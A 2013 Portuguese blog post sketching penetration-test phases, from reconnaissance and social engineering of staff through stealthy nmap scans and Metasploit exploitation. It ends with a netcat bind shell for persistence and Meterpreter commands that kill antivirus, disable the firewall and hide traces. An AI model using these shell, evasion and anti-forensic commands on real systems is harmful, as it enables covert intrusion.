Penetration test
Autor: cor3l1n3 | Publicado: 2013-03-06T19:45:00-08:00


Coleta de informações do alvo



Pessoas e seus endereços, telefones, facebook, linkedin, emails, servidores, sistemas operacionais, dns, ips, firewall, ferramentas e defesa e detecção de intruso, extranet, ramais, empresas terceira,&nbsp;funcionários&nbsp;novos,&nbsp;funcionários&nbsp;terceirizados,&nbsp;que acabaram de entrar na empresa, portaria do&nbsp;prédio&nbsp;e seus guardas, correios que levam mercadoria ou qualquer tipo de serviço tudo passivo ao um ataque de engenharia social.&nbsp;

Muitas empresas não respeitam a politica de segurança da informação e usam de ma fé o email, internet e ainda tentam instalar programas.&nbsp;Funcionários&nbsp;todos eles de diretor administradores levam seu ego pessoal a publicar&nbsp;informações&nbsp;valiosa da empresa, um prato cheio para o penetrador, muitos não são treinados conforme a politica de segurança, levam seus pendrives, acessam paginas de&nbsp;conteúdo&nbsp;explicito, entre mais.&nbsp;

Golpes como engenharia social é bem sucedido porque o comportamento dos usuários é falho. Com apenas uma ligação ao um&nbsp;funcionário&nbsp;sem nenhum conceito da segurança já é o bastante para conseguir penetrar no sistema.&nbsp;

Uma vantagem é que no problema da politica de segurança da informação muito restritiva geralmente afeta a produtividade do&nbsp;usuário.&nbsp;Por exemplo, se o FTP for bloqueado com o objetivo de prevenir a entrada de cavalo de troia, e o&nbsp;usuário&nbsp;necessita utilizar esse serviço para seu trabalho, ele certamente vai buscar maneira de driblar a restrição do firewall, nesse tempo o&nbsp;usuário&nbsp;pede produtividade e penetramos no sistema.&nbsp;

Usando google, yahoo e outros buscadores na internet podemos recolher informações do alvo para nosso pentest.&nbsp;


http://archive.org/web/web.php

http://serversniff.net/index.php




Servidores DNS--&gt; IP(A/AAAA) cname, mx, soa, ns, txt, etc..

Whois domain

dig @domain&nbsp;

dig +trace site alvo

dig domain axfr



nslookup



Google --&gt; Operadores avançados: Intitle, inurl,intext, inachor, cache, site.&nbsp;



DNS toolki --&gt;Firce, dnsmap

Perl fierce.pl -dns domain podemos ainda combinar um wordlist

fierce.pl --help



Varredura do alvo



Depois que coletei todas as informações consigo construir uma arvore de ataque e criando vetores de ataque para que com o backtrack ou qualquer ferramenta consigo explorar o alvo.&nbsp;

É importante salientar que em uma varredura noa falamos de causar&nbsp;ruídos e alertando o administrador do sistema. A verificação de IDS/IPS presente na rede deve ser analisadas com o&nbsp;critério&nbsp;maior, a fim de aplicar um ataque do nada.&nbsp;

Então buscas os firewall, juniper, cisco, modsecurity, etc.. que estão na frente estude muito bem eles pois é&nbsp;possível&nbsp;verificar se&nbsp;fragmentando&nbsp;pacotes pode realizar uma&nbsp;técnica&nbsp;de evasão.&nbsp;

Nessa parte vamos varrer os IPs a procura de porta aberta e serviços que estejam rodando nelas, usaremos o nmap.&nbsp;



nmap -sS -sV -f -PN -v -v -g53 -T1 IP

-sT Facil detecção

-sP Envia ICMP echo para as portas

-f Fragmentação para bypassar IDS



Podemos&nbsp;também&nbsp;usar o nmap script para varredura:



nmap --script whois domain

nmap -p80 --script http-google-email, http-email-harvest domain

nmap -p80 --script dns-brute domain

nmap -p80 script http-reverse-ip domain



http://nmap.org/

http://www.tenable.com/products/nessus



Invadindo



Ao descobrir uma vulnerabilidade nas varreduras a invasão é consolidada e, através&nbsp;dela, podemos explorar camadas internas do sistema. Ao ganhar um meterpreter atraves de um exploit e payload podemos ganhar o acesso root ou&nbsp;administrador&nbsp;no sistema, você fica totalmente seguro e anti-forense.&nbsp;

Consegue incluir backdoor no sistema, varrer outras maquinas fazer o que quiser, no&nbsp;vídeo&nbsp;abaixo você vera um ataque real com o uso do metasploit.&nbsp;



Exemplo de um ataque real








Penetration Testing in the Real World - Part 1









Penetration Testing in the Real World - Part 2












http://www.metasploit.com/



Mantendo acesso



Uma vez dentro do sistema, podemos instalar rootkits, backdoor, para quando for realizar a invasão não perdemos tempo realizando todo o processo de novo.&nbsp;



nc -u -l -p 53 -e /bin/sh ou cmd.exe



Cobrindo rastro&nbsp;



São meios de cobrir o rastro de uma invasão para que o forense não o encotre. É importante salientar que uma invasão do começo ao fim tem que ser bem elaborada. Recomendação instale maquinas virtuais e realizem o teste d e intrusão para não se perder no processo real.&nbsp;



Exemplo de cobrir os rastro depois de uma invasão

Escondendo arquivos --&gt; /usr/bin&nbsp;

PS

/dev/, /tmp



Editando logs --&gt; Meterpreter&nbsp;



meterpreter &gt; run getcountermeasure -d

-d desabilita o firewall



meterpreter &gt; run killav

Mata o processo de antivirus



Escondendo tráfego

meterpreter&gt; run get_local_subnets



Esteganografia.&nbsp;

http://www.vivaolinux.com.br/artigo/Esteganografia-utilizando-steghide



Abraço a todos.&nbsp;